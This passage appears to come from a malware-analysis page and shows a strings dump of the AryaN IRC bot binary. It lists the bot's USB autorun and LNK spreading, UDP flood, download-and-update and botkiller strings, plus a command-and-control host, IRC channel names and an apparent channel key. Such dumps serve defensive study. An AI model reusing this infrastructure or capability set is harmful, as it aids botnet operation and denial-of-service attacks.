plain">000000002300&nbsp;&nbsp; 000002DA2F00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %windir%\System32\cmd.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002340&nbsp;&nbsp; 000002DA2F40&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s\Removable_Drive.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002378&nbsp;&nbsp; 000002DA2F78&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s\%s</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002388&nbsp;&nbsp; 000002DA2F88&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s\%s.lnk</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002590&nbsp;&nbsp; 000002DA3190&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s\autorun.inf</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000087C0&nbsp;&nbsp; 000002DAABC0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; svhost.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000008CDC&nbsp;&nbsp; 000002DAB0DC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; C:\Documents and Settings\Administrator\Application Data\svhost.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000090EC&nbsp;&nbsp; 000002DAD0EC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; C:\Documents and Settings\Administrator\Application Data\svhost.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000009758&nbsp;&nbsp; 000002DAD758&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; egregregerfwde</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000004D&nbsp;&nbsp; 000002DA004D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; !This program cannot be run in DOS mode.</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000001C8&nbsp;&nbsp; 000002DA01C8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; .data</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000001F0&nbsp;&nbsp; 000002DA01F0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; .idata</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000000218&nbsp;&nbsp; 000002DA0218&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; .rsrc</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000023F&nbsp;&nbsp; 000002DA023F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; @.reloc</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001368&nbsp;&nbsp; 000002DA1F68&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Botkiller</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001374&nbsp;&nbsp; 000002DA1F74&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Successfully Killed And Removed Malicious File: "%s"</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001400&nbsp;&nbsp; 000002DA2000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Usage: %s IP PORT DELAY LENGTH</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001428&nbsp;&nbsp; 000002DA2028&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Failed To Start Thread: "%d"</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000144C&nbsp;&nbsp; 000002DA204C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Failed: Mis Parameter</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001468&nbsp;&nbsp; 000002DA2068&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; WinINet</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001474&nbsp;&nbsp; 000002DA2074&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Failed: "%d"</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001484&nbsp;&nbsp; 000002DA2084&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Visit</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000148C&nbsp;&nbsp; 000002DA208C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Failed: Mis Parameter, Usage: %s [SHOW/HIDE] [URL]</code></span></li> <li><span style="font-size: small;"><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</span></li> <li><span style="font-size: small;"><code class="plain plain">File pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mem pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ID&nbsp;&nbsp; Text</code></span></li> <li><span style="font-size: small;"><code class="plain plain">========&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =======&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ==&nbsp;&nbsp; ====</code></span></li> <li><span style="font-size: small;"><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</span></li> <li><span style="font-size: small;"><code class="plain plain">0000000014D4&nbsp;&nbsp; 000002DA20D4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Filed To Visit: "%s"</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000014F0&nbsp;&nbsp; 000002DA20F0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Successfully Visited: "%s"</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001520&nbsp;&nbsp; 000002DA2120&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s #%s</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000152C&nbsp;&nbsp; 000002DA212C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s %s</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001540&nbsp;&nbsp; 000002DA2140&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Terminated WGet Thread</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001564&nbsp;&nbsp; 000002DA2164&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Running From: "%s"</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000157C&nbsp;&nbsp; 000002DA217C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; [%s][%s] - "%s"</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001590&nbsp;&nbsp; 000002DA2190&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; hh':'mm':'ss</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000015E8&nbsp;&nbsp; 000002DA21E8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; {%s}: %s</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001618&nbsp;&nbsp; 000002DA2218&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Update Complete, Uninstalling</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000163C&nbsp;&nbsp; 000002DA223C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Successfully Executed Process: "%s"</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001668&nbsp;&nbsp; 000002DA2268&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Failed To Create Process: "%s", Reason: "%d"</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000016A0&nbsp;&nbsp; 000002DA22A0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Successfully Replaced AryaN File With Newly Download File, Update Will Take Affect On Next Reboot</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001748&nbsp;&nbsp; 000002DA2348&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Successfully Downloaded File To: "%s"</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001778&nbsp;&nbsp; 000002DA2378&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Downloading File: "%s"</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001794&nbsp;&nbsp; 000002DA2394&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Download</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001840&nbsp;&nbsp; 000002DA2440&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; IsWow64Process</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001884&nbsp;&nbsp; 000002DA2484&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; http://api.wipmania.com/</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001FD4&nbsp;&nbsp; 000002DA2BD4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; PRIVMSG</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000205C&nbsp;&nbsp; 000002DA2C5C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Config</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002064&nbsp;&nbsp; 000002DA2C64&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Failed to load config</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000212C&nbsp;&nbsp; 000002DA2D2C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; AryaN{%s-%s-x%d}%s</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002144&nbsp;&nbsp; 000002DA2D44&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; New{%s-%s-x%d}%s</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002158&nbsp;&nbsp; 000002DA2D58&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s "" "%s" :%s</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000216C&nbsp;&nbsp; 000002DA2D6C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s %s</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002174&nbsp;&nbsp; 000002DA2D74&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s %s :[AryaN]: %s</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002190&nbsp;&nbsp; 000002DA2D90&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s %s %s</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000021A4&nbsp;&nbsp; 000002DA2DA4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Finished Flooding "%s:%d"</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000021C4&nbsp;&nbsp; 000002DA2DC4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Terminated UDP Flood Thread</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000021E8&nbsp;&nbsp; 000002DA2DE8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %d%d%d%d%d%d%d%d</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002200&nbsp;&nbsp; 000002DA2E00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Flooding: "%s:%d", Delay: "%d(ms)", For "%d" Seconds</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000023A4&nbsp;&nbsp; 000002DA2FA4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; LNK Infected Removable Device: "%s\", Created: "%d" Lnk Files</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000025B4&nbsp;&nbsp; 000002DA31B4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; AutoRun Infected Removable Device: "%s\"</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002857&nbsp;&nbsp; 000002DA3457&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 4 RAS_e</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002877&nbsp;&nbsp; 000002DA3477&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 4 RAS</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002AC9&nbsp;&nbsp; 000002DA36C9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; z)ze'</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002D7D&nbsp;&nbsp; 000002DA397D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; /4*&amp;{</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002D9D&nbsp;&nbsp; 000002DA399D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; O(hHj</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000003BBB&nbsp;&nbsp; 000002DA47BB&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; OWShX</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000003E13&nbsp;&nbsp; 000002DA4A13&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; D$0Pht</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000044DA&nbsp;&nbsp; 000002DA50DA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SSPhZ</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000004BB9&nbsp;&nbsp; 000002DA57B9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; j[YPSSh</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000004C26&nbsp;&nbsp; 000002DA5826&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SSSSh</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000004C5F&nbsp;&nbsp; 000002DA585F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; t)SSj</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000005209&nbsp;&nbsp; 000002DA5E09&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Yt3Pj</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000005302&nbsp;&nbsp; 000002DA5F02&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; QQSVj</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000055C9&nbsp;&nbsp; 000002DA61C9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Yt}Vh</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000055FA&nbsp;&nbsp; 000002DA61FA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; tF@Pj</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000005720&nbsp;&nbsp; 000002DA6320&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SUVWh</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000005822&nbsp;&nbsp; 000002DA6422&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; VVVVh</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000583C&nbsp;&nbsp; 000002DA643C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SVVVVh</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000005927&nbsp;&nbsp; 000002DA6527&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; tDVWWh$</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000005AF9&nbsp;&nbsp; 000002DA66F9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; tUWSV</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000005B31&nbsp;&nbsp; 000002DA6731&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; WWWPWW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000005C33&nbsp;&nbsp; 000002DA6833&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; +Y4;YPw2</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000005CB0&nbsp;&nbsp; 000002DA68B0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Yt8Pj</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000005F14&nbsp;&nbsp; 000002DA6B14&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SUVWh</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000006098&nbsp;&nbsp; 000002DA6C98&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; QSUVWj</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000063A7&nbsp;&nbsp; 000002DA6FA7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; YYVVVhx</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000006499&nbsp;&nbsp; 000002DA7099&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; VVVhF</code></span></li> <li><span style="font-size: small;"><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</span></li> <li><span style="font-size: small;"><code class="plain plain">File pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mem pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ID&nbsp;&nbsp; Text</code></span></li> <li><span style="font-size: small;"><code class="plain plain">========&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =======&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ==&nbsp;&nbsp; ====</code></span></li> <li><span style="font-size: small;"><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</span></li> <li><span style="font-size: small;"><code class="plain plain">000000006650&nbsp;&nbsp; 000002DA7250&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; UUUVUU</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000670F&nbsp;&nbsp; 000002DA730F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; PVVj(WVVV</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000006920&nbsp;&nbsp; 000002DA7520&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; VPVh?</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000006A30&nbsp;&nbsp; 000002DA7630&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; VPVh?</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000006B14&nbsp;&nbsp; 000002DA7714&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; QSVW3</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000006C20&nbsp;&nbsp; 000002DA7820&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; YtPhL</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000006D31&nbsp;&nbsp; 000002DA7931&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; VVVhY</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000006E35&nbsp;&nbsp; 000002DA7A35&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; QQSVWj,</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000006EF7&nbsp;&nbsp; 000002DA7AF7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; VSSSh</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000735A&nbsp;&nbsp; 000002DA7F5A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; PWhD!</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000007370&nbsp;&nbsp; 000002DA7F70&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; PWh,!</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000007414&nbsp;&nbsp; 000002DA8014&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; YPhX!</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000075A2&nbsp;&nbsp; 000002DA81A2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; trSWh,</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000007DB2&nbsp;&nbsp; 000002DAA1B2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; PVVh%</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000877C&nbsp;&nbsp; 000002DAAB7C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 0866031</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000008950&nbsp;&nbsp; 000002DAAD50&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; udp.stop</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000089B4&nbsp;&nbsp; 000002DAADB4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; #newbitch</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000008A1C&nbsp;&nbsp; 000002DAAE1C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; #newbitch1</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000008A80&nbsp;&nbsp; 000002DAAE80&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 6RnRPKMb77qvsg5RiVNXdu6D9mgzE8</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000008AE4&nbsp;&nbsp; 000002DAAEE4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; unsort</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000008B48&nbsp;&nbsp; 000002DAAF48&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; download.stop</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000008BAC&nbsp;&nbsp; 000002DAAFAC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; remove</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000009564&nbsp;&nbsp; 000002DAD564&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; botkill</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000962C&nbsp;&nbsp; 000002DAD62C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; haso.dukatlgg.com</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000096F4&nbsp;&nbsp; 000002DAD6F4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; reconnect</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000009820&nbsp;&nbsp; 000002DAD820&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; HeavenOnEarth</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000098E8&nbsp;&nbsp; 000002DAD8E8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; visit</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000099B0&nbsp;&nbsp; 000002DAD9B0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; download</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A856&nbsp;&nbsp; 000002DAA856&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; PwS*Pw</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A88A&nbsp;&nbsp; 000002DAA88A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; wcsstr</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A894&nbsp;&nbsp; 000002DAA894&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; memset</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A89E&nbsp;&nbsp; 000002DAA89E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _snwprintf</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A8AC&nbsp;&nbsp; 000002DAA8AC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; wcscmp</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A8BE&nbsp;&nbsp; 000002DAA8BE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; strncmp</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A8C8&nbsp;&nbsp; 000002DAA8C8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; strstr</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A8D2&nbsp;&nbsp; 000002DAA8D2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _snprintf</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A8DE&nbsp;&nbsp; 000002DAA8DE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; strcmp</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A8E8&nbsp;&nbsp; 000002DAA8E8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; strncpy</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A8FA&nbsp;&nbsp; 000002DAA8FA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; printf</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A904&nbsp;&nbsp; 000002DAA904&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _vsnprintf</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A912&nbsp;&nbsp; 000002DAA912&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; wprintf</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A91C&nbsp;&nbsp; 000002DAA91C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _vsnwprintf</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A92A&nbsp;&nbsp; 000002DAA92A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; srand</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A932&nbsp;&nbsp; 000002DAA932&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; strlen</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A93C&nbsp;&nbsp; 000002DAA93C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; wcstombs</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A948&nbsp;&nbsp; 000002DAA948&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; mbstowcs</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A954&nbsp;&nbsp; 000002DAA954&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; strcpy</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A95E&nbsp;&nbsp; 000002DAA95E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; memcpy</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A968&nbsp;&nbsp; 000002DAA968&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _wcsicmp</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A974&nbsp;&nbsp; 000002DAA974&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; malloc</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A986&nbsp;&nbsp; 000002DAA986&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 